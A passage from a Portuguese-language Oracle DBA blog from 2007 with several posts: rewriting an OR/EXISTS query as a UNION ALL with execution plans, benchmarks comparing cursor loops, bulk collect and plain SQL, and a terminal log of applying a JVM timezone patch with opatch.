 12                  method_opt => 'for all indexed columns size 10'
 13          );
 14  end;
 15  /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> select ( select count(*) from t1 ) cnt_t1,
  2         ( select count(*) from t2 ) cnt_t2
  3    from dual
  4  /

       CNT_T1        CNT_T2
------------- -------------
        53094         51845

1 row selected.

Duas tabelas com certa relação, ambas indexadas e com estatísticas coletadas inclusive com histograma. A query é bem simples, precisamos de todas os nomes da T1 onde obj# esteja entre 59700 e 59800 e que exista na T2 com o dono (owner) = 'SCOTT'. Quando os predicados são executados separadamente, o otimizador sabe exatamente como escolher o caminho mais eficiente, o problema é quando UNIMOS as queries com o "OR".


select name
 from t1
where obj# between 59700 and 59800
   or exists (select null
                from t2
               where t1.obj# = t2.object_id
                 and t2.owner = 'SCOTT'
      )
/

Essa foi mais ou menos a "pedrinha no sapato" do meu colega analista. A primeira idéia que surgiu foi a substituição do EXISTS por IN, mas o caso não era esse porque além das tabelas possuirem quase a mesma quantidade de linhas, o otimizador tem a capacidade de rescrever queries do tipo EXISTS/IN para obter performance.

Vamos ver o que o otimizador conseguiu.


ops$marcio:LX10G> select name
  2    from t1
  3   where obj# between 59700 and 59800
  4      or exists (select null
  5                   from t2
  6                  where t1.obj# = t2.object_id
  7                    and t2.owner = 'SCOTT'
  8          )
  9  /

25 rows selected.


Execution Plan
----------------------------------------------------------
Plan hash value: 2766739097

----------------------------------------------------------------------------------------------
| Id  | Operation                    | Name          | Rows  | Bytes | Cost (%CPU)| Time     |
----------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |               |  2697 | 59334 |   147   (3)| 00:00:02 |
|*  1 |  FILTER                      |               |       |       |            |          |
|   2 |   TABLE ACCESS FULL          | T1            | 53096 |  1140K|   147   (3)| 00:00:02 |
|*  3 |   TABLE ACCESS BY INDEX ROWID| T2            |     1 |    11 |     2   (0)| 00:00:01 |
|*  4 |    INDEX RANGE SCAN          | IT2_OBJECT_ID |     1 |       |     1   (0)| 00:00:01 |
----------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

  1 - filter("OBJ#">=59700 AND "OBJ#" <=59800 OR  EXISTS (SELECT /*+ */ 0 FROM "T2"               
             "T2" WHERE "T2"."OBJECT_ID"=:B1 AND "T2"."OWNER"='SCOTT'))    
  3 - filter("T2"."OWNER"='SCOTT')    
  4 - access("T2"."OBJECT_ID"=:B1)

A solução para o otimizador foi (1) FILTER, ou seja, (2) leia (full) a t1 e para cada linha procure na t2 (3) faça uma seleção por owner e acesso pelo índice object_id (4). Não está mal! Pensando como o Oracle, da maneira como a query está escrita, ele precisa de TODAS as linhas de T1 e não só o filtro BETWEEN (59700 e 59800), porque existe um OR, portanto ele precisa de outras linhas na condição do predicado.


Statistics
----------------------------------------------------------
         1  recursive calls
         0  db block gets
    158733  consistent gets
         0  physical reads
...

E note o esforço para obter a informação. 158733 consistents gets. Um pouco pesado para 25 linhas. Uma passada de olhos no Performance Tuning Guide, na seção 11.5 Developing Efficient SQL Statements existem ótimas dicas de como escrever eficiente SQLs e uma das dicas é: diminuir o workload do Oracle trazendo o mesmo set de linhas. Então vamos reescrever a query para dar mais chances ao otimizador.

O problema desta query é quando UNIMOS, então vamos tentar um UNION ALL na mão. Um aparte: por que UNION ALL e não UNION? Porque quando usamos o UNION um DISTINCT vem de presente, portanto cuidado!

select name
  from t1
 where obj# between 59700 and 59800
 UNION ALL
select name
  from t1
 where exists ( select null
                  from t2
                 where t1.obj# = t2.object_id
                   and t2.owner = 'SCOTT'
       )
   and not ( obj# between 59700 and 59800 )
/

Alguns alertas quando reescrever a query, se estamos fazendo um UNION ALL na mão, há que se respeitar o predicado da query inicial, ou seja, não queremos linhas duplicadas. Então basta incluir mais um predicado na segunda query limitando o que já foi feito na primeira

( and not ( obj# between 59700 and 59800 ) )

outra lembrança importante é: se o campo no NOT tiver a mínima change de conter null, é preciso tratar, no caso seria: nvl(obj#,0) between ...

Vamos ao resultado final!


ops$marcio:LX10G> select name
  2    from t1
  3   where obj# between 59700 and 59800
  4  UNION ALL
  5  select name
  6    from t1
  7   where exists ( select null
  8                    from t2
  9                   where t1.obj# = t2.object_id
 10                     and t2.owner = 'SCOTT'
 11          )
 12     and not ( obj# between 59700 and 59800 )
 13  /

25 rows selected.


Execution Plan
----------------------------------------------------------
Plan hash value: 1985880467

-----------------------------------------------------------------------------------------------
| Id  | Operation                     | Name          | Rows  | Bytes | Cost (%CPU)| Time     |
-----------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT              |               |  1103 | 35915 |   183  (99)| 00:00:03 |
|   1 |  UNION-ALL                    |               |       |       |            |          |
|   2 |   TABLE ACCESS BY INDEX ROWID | T1            |    44 |   968 |     3   (0)| 00:00:01 |
|*  3 |    INDEX RANGE SCAN           | IT1_OBJECT_ID |    44 |       |     2   (0)| 00:00:01 |
|*  4 |   HASH JOIN RIGHT SEMI        |               |  1059 | 34947 |   180   (3)| 00:00:03 |
|   5 |    TABLE ACCESS BY INDEX ROWID| T2            |  1058 | 11638 |    32   (0)| 00:00:01 |
|*  6 |     INDEX RANGE SCAN          | IT2_OWNER     |  1058 |       |     3   (0)| 00:00:01 |
|*  7 |    TABLE ACCESS FULL          | T1            | 52879 |  1136K|   147   (3)| 00:00:02 |
-----------------------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   3 - access("OBJ#">=59700 AND "OBJ#"<=59800)
   4 - access("T1"."OBJ#"="T2"."OBJECT_ID")
   6 - access("T2"."OWNER"='SCOTT')
   7 - filter("OBJ#"<59700 OR "OBJ#">59800)


Statistics
----------------------------------------------------------
          1  recursive calls
          0  db block gets
        643  consistent gets
          0  physical reads
...

Ok muito melhor... 643 consistents gets contra quase 160 mil, notem também a mudança de plano de acesso e para finalizar uma olhada no tkprof.


select name
  from t1
 where obj# between 59700 and 59800
    or exists (select null
                 from t2
                where t1.obj# = t2.object_id
                  and t2.owner = 'SCOTT'
        )

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.01          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch        2      3.24       3.16          0     158680          0          41
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        4      3.24       3.17          0     158680          0          41

Contra o query reescrita!

select name
  from t1
 where obj# between 59700 and 59800
UNION ALL
select name
  from t1
 where exists ( select null
                  from t2
                 where t1.obj# = t2.object_id
                   and t2.owner = 'SCOTT'
        )
   and not ( obj# between 59700 and 59800 )

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch        2      0.05       0.05          0        643          0          41
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        4      0.05       0.05          0        643          0          41

Bulk Collect 2 (Delete)

2007-03-19T16:40:00.001-03:00

Recentemente, outra dúvida sobre qual método seria mais eficiente na deleção de linhas de uma tabela surgiu na usuarios_oracle. Em minha opinião, por mais apelativo que seja o estouro da área de UNDO, eu ainda continuo apostando em SQL Puro. Eu aumentaria a área de UNDO para suportar a operação e faria em uma sentença. Vamos ao exemplo:

- Tabela com 2 milhões de registros, quero deletar 100 mil.
- Faço os 3 métodos, cursor normal, bulk collect e sql puro.
- O Resultado está no final.


ops$marcio:LX10G> drop table t purge;

Table dropped.

ops$marcio:LX10G>
ops$marcio:LX10G> create table t as
 2  select level n,
 3         rpad('x', 50, 'x') vc
 4    from dual connect by level <= 2000000
 5  /

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create index t_idx on t ( n );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> begin
 2          dbms_stats.gather_table_stats ( user, 'T', cascade => true );
 3  end;
 4  /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace procedure p
 2  is
 3          cursor c is
 4              select rowid rid
 5                from t
 6               where n between 1500000 and 1600000;
 7          type rec is table of rowid index by binary_integer;
 8          l_rec rec;
 9          l_time  number default dbms_utility.get_time;
10          procedure show_time (p_message in varchar2) is
11          begin
12                  dbms_output.put_line(p_message ||
13                     trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');
14                  l_time := dbms_utility.get_time;
15          end;
16  begin
17          for x in c
18          loop
19                  delete from t where rowid = x.rid;
20          end loop;
21          show_time('Tempo cursor normal ');
22          rollback;
23          open c;
24          loop
25                  fetch c bulk collect into l_rec limit 100;
26
27                  forall i in 1 .. l_rec.count
28                          delete from t where rowid = l_rec(i);
29
30                  exit when c%notfound;
31          end loop;
32          close c;
33          show_time('Tempo Bulk Collect ');
34          rollback;
35          delete from t where n between 1500000 and 1600000;
36          show_time('Tempo SQL Puro ');
37  end;
38  /

Procedure created.

ops$marcio:LX10G> show error;
No errors.
ops$marcio:LX10G>
ops$marcio:LX10G> exec p
Tempo cursor normal 23,38 segundos!
Tempo Bulk Collect 19,96 segundos!
Tempo SQL Puro 4,77 segundos!

PL/SQL procedure successfully completed.

Bulk Collect

2007-03-12T17:04:00.001-03:00

Meu mantra para performance é:

SQL Puro - Me esforço o máximo para usar SQL Puro.
PL/SQL - Quando a lógica é complexa.
External C procs - Para ser sincero, faz algum tempo que não utilizo.

Gostaria de comentar sobre a opção dois! Escrever código PL/SQL. Cuidado para não escrever código demais. Porém, não adianta, em algum momento é preciso escrever procedures, packages, functions, etc. Então melhor utilizar bem as técnicas. Neste post, vou explorar a diferença de tratamente de cursor. Quando for inevitável o uso de cursor, tente não usar o processamento linha a linha. Uma boa técnica de tratamento para os cursores é BULK COLLECT.

Vamos ao teste, que consiste em comparar o tratamento de um mesmo cursor de duas maneiras - uma, linha a linha e outra com bulk collect. Também há uma subrotina na procedure que mostra o tempo tomado em cada execução. A lógica é alterar a coluna object_name para initcap(object_name). Apenas para fixar conceito: Qual seria o melhor forma de tratar essa modificação? ...

Muito bem! Opção 1 - SQL Puro, bastaria

insert into gtt select initcap(object_name) from t;

Entretanto, estamos estudando a melhor forma de tratar um cursor. A seguir a lógica do teste.

Cursor abre, le a tabela "T" linha a linha, faz a modificação (initcap) e insere na tabela "GTT".
Mostra tempo de execução 'Tempo cursor normal'
Cursor abre, le a tabela "T" de 100 em 100 registros e monta um set (type - array), faz a modificação (initcap) e insere os 100 registros na tabela "GTT" volta ao item 3 até completar a tabela "T".
Mostra tempo de execução 'Tempo bulk collect'
Fim.

ops$marcio:LX10G> create table t as select * from all_objects;

Table created.

ops$marcio:LX10G> create global temporary table gtt on commit preserve rows
  2  as select * from t where 1=0;

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace procedure p
  2  is
  3          cursor c is select * from t;
  4          type rec is table of c%rowtype index by binary_integer;
  5          l_rec rec;
  6          l_time  number default dbms_utility.get_time;
  7          procedure show_time (p_message in varchar2) is
  8          begin
  9                  dbms_output.put_line(p_message ||
 10                     trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');
 11                  l_time := dbms_utility.get_time;
 12          end;
 13  begin
 14          execute immediate ('truncate table gtt');
 15          for x in c
 16          loop
 17                  x.object_name := initcap(x.object_name);
 18                  insert into gtt values x;
 19          end loop;
 20          show_time('Tempo cursor normal ');
 21          execute immediate ('truncate table gtt');
 22          open c;
 23          loop
 24                  fetch c bulk collect into l_rec limit 100;
 25
 26                  for i in 1 .. l_rec.count
 27                  loop
 28                          l_rec(i).object_name := initcap(l_rec(i).object_name);
 29                  end loop;
 30
 31                  forall i in 1 .. l_rec.count
 32                          insert into gtt values l_rec(i);
 33
 34                  exit when c%notfound;
 35          end loop;
 36          close c;
 37          show_time('Tempo bulk collect ');
 38  end;
 39  /

Procedure created.

ops$marcio:LX10G> show error;
No errors.
ops$marcio:LX10G>
ops$marcio:LX10G> exec p;
Tempo cursor normal 3,05 segundos!
Tempo bulk collect ,45 segundos!

PL/SQL procedure successfully completed.

ops$marcio:LX10G>

O tempo é indiscutível. Aproximadamente 3 vezes mais rápido! Para cerca de 50 mil linhas.

Tenha Sua Propria ASKTOM

2007-03-07T13:05:00.000-03:00

Já pensou em ter sua própria asktom? Para quem não é da área de Banco de Dados - Oracle, pode ser que nunca tenha ouvido falar do Thomas Kyte, mas para a maioria dos profissionais que trabalham com o Oracle, ele é uma figura bastante conhecida pelo que faz pela comunidade. Ele tem um site (asktom) onde responde e esclare dúvidas referentes ao Oracle.

Agora voce pode ter sua própria asktom. A Oracle disponibilizou o fonte da asktom para download, é preciso ter o APEX (Application Express - antigo HTMLDB) e instalar - pronto! Sua própria asktom ou ask quem quer que seja. Eu fiz a Ask ao Tio ;-) Inclusive está até aberta para receber perguntas!!

Ainda DST - JVM

2007-03-04T22:16:00.000-03:00

Nesse novo post sobre JVM, decidi não me aprofundar em algo que está amplamente documentado. Só vou mostrar exatamente como fiz a aplicação do patch para JVM em meu 10g.


[oracle@anakin ~]$ cd patches
[oracle@anakin patches]$ ll -tr
total 88
drwxr-xr-x  4 oracle dba  4096 Feb 15 03:37 5632264
-rw-r--r--  1 oracle dba   360 Feb 28 21:06 test_patch.sql
-rw-r--r--  1 oracle dba 73788 Feb 28 22:21 p5632264_10202_LINUX.zip
[oracle@anakin patches]$ $ORACLE_HOME/jdk/bin/java -fullversion
java full version "1.4.2_08-b03"
[oracle@anakin patches]$
[oracle@anakin patches]$
[oracle@anakin patches]$ mkdir java_backup
[oracle@anakin patches]$ cd java_backup/
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Africa/Timbuktu .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Buenos_Aires .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Catamarca .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Coral_Harbour .
mv: cannot stat `/oracle/10g/javavm/lib/zi/America/Coral_Harbour': No such file or directory
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Cordoba .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Indianapolis .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Jujuy .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Louisville .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Mendoza .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Europe/Belfast .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Pacific/Yap .
[oracle@anakin java_backup]$
[oracle@anakin java_backup]$ cd ..
[oracle@anakin patches]$ unzip /download/p5865568_10202_GENERIC.zip
Archive:  /download/p5865568_10202_GENERIC.zip
   creating: 5865568/
   creating: 5865568/files/
   creating: 5865568/files/javavm/
   creating: 5865568/files/javavm/lib/
   creating: 5865568/files/javavm/lib/zi/
   creating: 5865568/files/javavm/lib/zi/Africa/
  inflating: 5865568/files/javavm/lib/zi/Africa/Cairo
  inflating: 5865568/files/javavm/lib/zi/Africa/Tunis
   creating: 5865568/files/javavm/lib/zi/America/
   creating: 5865568/files/javavm/lib/zi/America/Indiana/
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Indianapolis
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Knox
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Marengo
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Petersburg
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vevay
  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vincennes
   creating: 5865568/files/javavm/lib/zi/America/North_Dakota/
  inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/New_Salem
  inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/Center
 extracting: 5865568/files/javavm/lib/zi/America/Atikokan
  inflating: 5865568/files/javavm/lib/zi/America/Blanc-Sablon
 extracting: 5865568/files/javavm/lib/zi/America/Bogota
  inflating: 5865568/files/javavm/lib/zi/America/Cambridge_Bay
  inflating: 5865568/files/javavm/lib/zi/America/Campo_Grande
  inflating: 5865568/files/javavm/lib/zi/America/Cuiaba
  inflating: 5865568/files/javavm/lib/zi/America/Dawson
  inflating: 5865568/files/javavm/lib/zi/America/Edmonton
  inflating: 5865568/files/javavm/lib/zi/America/Glace_Bay
  inflating: 5865568/files/javavm/lib/zi/America/Goose_Bay
  inflating: 5865568/files/javavm/lib/zi/America/Guatemala
  inflating: 5865568/files/javavm/lib/zi/America/Halifax
  inflating: 5865568/files/javavm/lib/zi/America/Havana
  inflating: 5865568/files/javavm/lib/zi/America/Inuvik
  inflating: 5865568/files/javavm/lib/zi/America/Iqaluit
  inflating: 5865568/files/javavm/lib/zi/America/Managua
  inflating: 5865568/files/javavm/lib/zi/America/Miquelon
  inflating: 5865568/files/javavm/lib/zi/America/Moncton
  inflating: 5865568/files/javavm/lib/zi/America/Montevideo
  inflating: 5865568/files/javavm/lib/zi/America/Montreal
  inflating: 5865568/files/javavm/lib/zi/America/Nipigon
  inflating: 5865568/files/javavm/lib/zi/America/Pangnirtung
  inflating: 5865568/files/javavm/lib/zi/America/Port-au-Prince
  inflating: 5865568/files/javavm/lib/zi/America/Rainy_River
  inflating: 5865568/files/javavm/lib/zi/America/Rankin_Inlet
  inflating: 5865568/files/javavm/lib/zi/America/Santiago
  inflating: 5865568/files/javavm/lib/zi/America/Sao_Paulo
  inflating: 5865568/files/javavm/lib/zi/America/Scoresbysund
  inflating: 5865568/files/javavm/lib/zi/America/St_Johns
  inflating: 5865568/files/javavm/lib/zi/America/Tegucigalpa
  inflating: 5865568/files/javavm/lib/zi/America/Thule
  inflating: 5865568/files/javavm/lib/zi/America/Thunder_Bay
  inflating: 5865568/files/javavm/lib/zi/America/Toronto
  inflating: 5865568/files/javavm/lib/zi/America/Vancouver
  inflating: 5865568/files/javavm/lib/zi/America/Whitehorse
  inflating: 5865568/files/javavm/lib/zi/America/Winnipeg
  inflating: 5865568/files/javavm/lib/zi/America/Yellowknife
  inflating: 5865568/files/javavm/lib/zi/America/Adak
  inflating: 5865568/files/javavm/lib/zi/America/Anchorage
  inflating: 5865568/files/javavm/lib/zi/America/Araguaina
   creating: 5865568/files/javavm/lib/zi/America/Argentina/
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Buenos_Aires
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Catamarca
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Cordoba
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Jujuy
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/La_Rioja
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Mendoza
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Rio_Gallegos
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/San_Juan
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Tucuman
  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Ushuaia
   creating: 5865568/files/javavm/lib/zi/America/Kentucky/
  inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Louisville
  inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Monticello
  inflating: 5865568/files/javavm/lib/zi/America/Asuncion
  inflating: 5865568/files/javavm/lib/zi/America/Bahia
  inflating: 5865568/files/javavm/lib/zi/America/Boise
  inflating: 5865568/files/javavm/lib/zi/America/Chicago
  inflating: 5865568/files/javavm/lib/zi/America/Denver
  inflating: 5865568/files/javavm/lib/zi/America/Detroit
  inflating: 5865568/files/javavm/lib/zi/America/Fortaleza
  inflating: 5865568/files/javavm/lib/zi/America/Juneau
  inflating: 5865568/files/javavm/lib/zi/America/Lima
  inflating: 5865568/files/javavm/lib/zi/America/Los_Angeles
  inflating: 5865568/files/javavm/lib/zi/America/Maceio
  inflating: 5865568/files/javavm/lib/zi/America/Menominee
  inflating: 5865568/files/javavm/lib/zi/America/New_York
  inflating: 5865568/files/javavm/lib/zi/America/Nome
  inflating: 5865568/files/javavm/lib/zi/America/Noronha
  inflating: 5865568/files/javavm/lib/zi/America/Phoenix
  inflating: 5865568/files/javavm/lib/zi/America/Recife
  inflating: 5865568/files/javavm/lib/zi/America/Regina
  inflating: 5865568/files/javavm/lib/zi/America/Yakutat
   creating: 5865568/files/javavm/lib/zi/Antarctica/
  inflating: 5865568/files/javavm/lib/zi/Antarctica/Palmer
  inflating: 5865568/files/javavm/lib/zi/Antarctica/Rothera
   creating: 5865568/files/javavm/lib/zi/Asia/
  inflating: 5865568/files/javavm/lib/zi/Asia/Amman
  inflating: 5865568/files/javavm/lib/zi/Asia/Baku
  inflating: 5865568/files/javavm/lib/zi/Asia/Choibalsan
 extracting: 5865568/files/javavm/lib/zi/Asia/Colombo
  inflating: 5865568/files/javavm/lib/zi/Asia/Damascus
  inflating: 5865568/files/javavm/lib/zi/Asia/Gaza
  inflating: 5865568/files/javavm/lib/zi/Asia/Hovd
  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh87
  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh88
  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh89
  inflating: 5865568/files/javavm/lib/zi/Asia/Samarkand
  inflating: 5865568/files/javavm/lib/zi/Asia/Tashkent
  inflating: 5865568/files/javavm/lib/zi/Asia/Tbilisi
  inflating: 5865568/files/javavm/lib/zi/Asia/Tehran
  inflating: 5865568/files/javavm/lib/zi/Asia/Ulaanbaatar
  inflating: 5865568/files/javavm/lib/zi/Asia/Almaty
  inflating: 5865568/files/javavm/lib/zi/Asia/Aqtau
  inflating: 5865568/files/javavm/lib/zi/Asia/Aqtobe
  inflating: 5865568/files/javavm/lib/zi/Asia/Bishkek
  inflating: 5865568/files/javavm/lib/zi/Asia/Jerusalem
 extracting: 5865568/files/javavm/lib/zi/Asia/Karachi
 extracting: 5865568/files/javavm/lib/zi/Asia/Kuala_Lumpur
  inflating: 5865568/files/javavm/lib/zi/Asia/Kuching
  inflating: 5865568/files/javavm/lib/zi/Asia/Oral
  inflating: 5865568/files/javavm/lib/zi/Asia/Qyzylorda
  inflating: 5865568/files/javavm/lib/zi/Asia/Tokyo
 extracting: 5865568/files/javavm/lib/zi/Asia/Singapore
   creating: 5865568/files/javavm/lib/zi/Atlantic/
  inflating: 5865568/files/javavm/lib/zi/Atlantic/Bermuda
   creating: 5865568/files/javavm/lib/zi/Australia/
  inflating: 5865568/files/javavm/lib/zi/Australia/Perth
  inflating: 5865568/files/javavm/lib/zi/Australia/Adelaide
  inflating: 5865568/files/javavm/lib/zi/Australia/Broken_Hill
  inflating: 5865568/files/javavm/lib/zi/Australia/Currie
  inflating: 5865568/files/javavm/lib/zi/Australia/Hobart
  inflating: 5865568/files/javavm/lib/zi/Australia/Lord_Howe
  inflating: 5865568/files/javavm/lib/zi/Australia/Melbourne
  inflating: 5865568/files/javavm/lib/zi/Australia/Sydney
  inflating: 5865568/files/javavm/lib/zi/CST6CDT
 extracting: 5865568/files/javavm/lib/zi/EST
  inflating: 5865568/files/javavm/lib/zi/EST5EDT
  inflating: 5865568/files/javavm/lib/zi/HST
 extracting: 5865568/files/javavm/lib/zi/MST
  inflating: 5865568/files/javavm/lib/zi/MST7MDT
  inflating: 5865568/files/javavm/lib/zi/PST8PDT
  inflating: 5865568/files/javavm/lib/zi/ZoneInfoMappings
   creating: 5865568/files/javavm/lib/zi/Europe/
  inflating: 5865568/files/javavm/lib/zi/Europe/Volgograd
  inflating: 5865568/files/javavm/lib/zi/Europe/Warsaw
  inflating: 5865568/files/javavm/lib/zi/Europe/Berlin
  inflating: 5865568/files/javavm/lib/zi/Europe/Lisbon
  inflating: 5865568/files/javavm/lib/zi/Europe/Vienna
  inflating: 5865568/files/javavm/lib/zi/Europe/Vilnius
   creating: 5865568/files/javavm/lib/zi/Pacific/
  inflating: 5865568/files/javavm/lib/zi/Pacific/Easter
  inflating: 5865568/files/javavm/lib/zi/Pacific/Auckland
  inflating: 5865568/files/javavm/lib/zi/Pacific/Chatham
 extracting: 5865568/files/javavm/lib/zi/Pacific/Midway
  inflating: 5865568/files/javavm/lib/zi/Pacific/Tongatapu
   creating: 5865568/files/javavm/lib/zi/SystemV/
  inflating: 5865568/files/javavm/lib/zi/SystemV/AST4
  inflating: 5865568/files/javavm/lib/zi/SystemV/AST4ADT
  inflating: 5865568/files/javavm/lib/zi/SystemV/CST6
  inflating: 5865568/files/javavm/lib/zi/SystemV/CST6CDT
 extracting: 5865568/files/javavm/lib/zi/SystemV/EST5
  inflating: 5865568/files/javavm/lib/zi/SystemV/EST5EDT
  inflating: 5865568/files/javavm/lib/zi/SystemV/HST10
 extracting: 5865568/files/javavm/lib/zi/SystemV/MST7
  inflating: 5865568/files/javavm/lib/zi/SystemV/MST7MDT
  inflating: 5865568/files/javavm/lib/zi/SystemV/PST8
  inflating: 5865568/files/javavm/lib/zi/SystemV/PST8PDT
 extracting: 5865568/files/javavm/lib/zi/SystemV/YST9
  inflating: 5865568/files/javavm/lib/zi/SystemV/YST9YDT
   creating: 5865568/files/javavm/lib/zi/Indian/
 extracting: 5865568/files/javavm/lib/zi/Indian/Chagos
   creating: 5865568/files/javavm/admin/
  inflating: 5865568/files/javavm/admin/fixTZa.sql
  inflating: 5865568/files/javavm/admin/fixTZb.sql
   creating: 5865568/etc/
   creating: 5865568/etc/config/
  inflating: 5865568/etc/config/inventory
  inflating: 5865568/etc/config/actions
   creating: 5865568/etc/xml/
  inflating: 5865568/etc/xml/GenericActions.xml
  inflating: 5865568/etc/xml/ShiphomeDirectoryStructure.xml
  inflating: 5865568/README.txt
[oracle@anakin patches]$ cd 5865568
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$ opatch apply
bash: opatch: command not found
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch apply
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-25-BRT_Sun.log

ApplySession applying interim patch '5865568' to OH '/oracle/10g'

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/oracle/10g')

Is the local system ready for patching?

Do you want to proceed? [y|n]
y
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '5865568' for restore. This might take a while...
Backing up files affected by the patch '5865568' for rollback. This might take a while...

Patching component oracle.javavm.server, 10.2.0.2.0...
Copying file to "/oracle/10g/javavm/lib/zi/Africa/Cairo"
Copying file to "/oracle/10g/javavm/lib/zi/Africa/Tunis"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Indianapolis"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Knox"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Marengo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Petersburg"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vevay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vincennes"
Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/New_Salem"
Copying file to "/oracle/10g/javavm/lib/zi/America/Atikokan"
Copying file to "/oracle/10g/javavm/lib/zi/America/Blanc-Sablon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Bogota"
Copying file to "/oracle/10g/javavm/lib/zi/America/Cambridge_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Campo_Grande"
Copying file to "/oracle/10g/javavm/lib/zi/America/Cuiaba"
Copying file to "/oracle/10g/javavm/lib/zi/America/Dawson"
Copying file to "/oracle/10g/javavm/lib/zi/America/Edmonton"
Copying file to "/oracle/10g/javavm/lib/zi/America/Glace_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Goose_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Guatemala"
Copying file to "/oracle/10g/javavm/lib/zi/America/Halifax"
Copying file to "/oracle/10g/javavm/lib/zi/America/Havana"
Copying file to "/oracle/10g/javavm/lib/zi/America/Inuvik"
Copying file to "/oracle/10g/javavm/lib/zi/America/Iqaluit"
Copying file to "/oracle/10g/javavm/lib/zi/America/Managua"
Copying file to "/oracle/10g/javavm/lib/zi/America/Miquelon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Moncton"
Copying file to "/oracle/10g/javavm/lib/zi/America/Montevideo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Montreal"
Copying file to "/oracle/10g/javavm/lib/zi/America/Nipigon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Pangnirtung"
Copying file to "/oracle/10g/javavm/lib/zi/America/Port-au-Prince"
Copying file to "/oracle/10g/javavm/lib/zi/America/Rainy_River"
Copying file to "/oracle/10g/javavm/lib/zi/America/Rankin_Inlet"
Copying file to "/oracle/10g/javavm/lib/zi/America/Santiago"
Copying file to "/oracle/10g/javavm/lib/zi/America/Sao_Paulo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Scoresbysund"
Copying file to "/oracle/10g/javavm/lib/zi/America/St_Johns"
Copying file to "/oracle/10g/javavm/lib/zi/America/Tegucigalpa"
Copying file to "/oracle/10g/javavm/lib/zi/America/Thule"
Copying file to "/oracle/10g/javavm/lib/zi/America/Thunder_Bay"
